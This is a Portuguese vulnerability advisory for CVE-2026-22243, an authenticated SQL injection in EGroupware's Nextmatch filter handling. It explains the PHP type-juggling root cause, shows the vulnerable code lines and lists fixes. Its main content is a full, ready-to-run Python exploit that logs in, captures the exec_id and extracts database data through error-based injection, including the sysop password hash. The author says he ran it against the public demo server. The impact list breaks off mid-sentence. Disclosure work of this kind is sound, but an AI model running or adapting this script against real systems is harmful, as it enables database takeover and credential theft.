
CVE-2026-22243 - EGroupware tem SQL Injection no processamento do filtro Nextmatch
| Campo | Detalhes |
|---|---|
| CVE ID | CVE-2026-22243 |
| Gravidade | ALTA |
| Aviso | Ver Aviso |
| Descoberto por | Lukasz Rybak |
Injeção de SQL Autenticada Crítica no Processamento de Filtros do Widget Nextmatch
Existe uma vulnerabilidade crítica de Injeção de SQL nos componentes principais do EGroupware, especificamente no processamento de filtros do Nextmatch. A falha permite que atacantes autenticados injetem comandos SQL arbitrários na cláusula WHERE de consultas ao banco de dados. Isso é alcançado explorando um problema de type juggling do PHP, em que a decodificação JSON converte strings numéricas em inteiros, contornando a verificação de segurança is_int() usada pela aplicação.
Análise da Causa Raiz
A vulnerabilidade existe na forma como a camada de abstração do banco de dados (Api\Db) e as classes de armazenamento de alto nível (Api\Storage\Base, infolog_so) processam o array col_filter usado nos widgets "Nextmatch".
A aplicação tenta validar a entrada usando is_int($key) para determinar se uma chave do array representa um fragmento SQL bruto que deve ser confiável. No entanto, ao processar requisições POST baseadas em JSON, o json_decode do PHP converte automaticamente chaves de string numéricas (ex.: "0") em inteiros nativos.
Consequentemente, um atacante pode enviar um payload JSON com um array associativo contendo chaves numéricas. A aplicação interpreta essas chaves como inteiros (is_int retorna true) e anexa cegamente os valores associados — contendo SQL malicioso — diretamente à consulta.
Locais do Código Vulneráveis
sources/egroupware/api/src/Db.php (Aprox. Linha 1776)
Método: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (Aprox. Linha 1134)
Método: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
Verifiquei esta vulnerabilidade em uma instância Docker local e a confirmei (somente leitura) em sua instância de demonstração pública (demo.egroupware.net).
Script de Exploit Automatizado: O script a seguir automatiza o login, a extração do exec_id e a exfiltração de dados via Injeção de SQL Baseada em Erro.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/HEAD/%5B%5E%22%5C%27%5D+)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/HEAD/%5B%5E%22%5C%27%5D*)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"
if __name__ == "__main__":
if login():
eid = get_exec_id()
if eid:
print("\n" + "="*40)
print(" SQL INJECTION RESULTS ")
print("="*40)
print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
print(f"[+] DB Name: {run_query(eid, 'SELECT database()')}")
print(f"[+] DB User: {run_query(eid, 'SELECT user()')}")
print("\n[*] Retrieving hash for 'sysop' user (if exists):")
res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
print(f" > {res}")
print("="*40 + "\n")
Prova de Verificação em demo.egroupware.net:
Executei o script contra sua demonstração pública para confirmar a explorabilidade em um ambiente semelhante ao de produção (somente leitura).

Impacto: Atacantes com acesso de privilégios baixos podem comprometer totalmente o banco de dados. Isso permite:
1. Validação de Entrada (Whitelisting)
Não dependa apenas de is_int() para decisões de segurança ao lidar com entrada externa, especialmente dados JSON em que as chaves podem ser strings numéricas. Implemente uma whitelist (lista de permissões) estrita de nomes de colunas permitidos para filtragem nos widgets Nextmatch. Se a chave/coluna não estiver na whitelist, rejeite a requisição.
2. Vinculação de Parâmetros Garanta que todos os valores de filtro sejam vinculados como parâmetros (prepared statements) em vez de serem concatenados diretamente na string SQL.
3. Verificação Estrita de Tipos
Ao processar entrada JSON, garanta que as chaves sejam estritamente verificadas em relação aos tipos esperados (ex.: usando === para comparação estrita ou filter_var) antes de serem usadas na lógica de geração de SQL.
Relatado por Łukasz Rybak
Este CVE foi divulgado de forma responsável seguindo práticas de divulgação coordenada de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.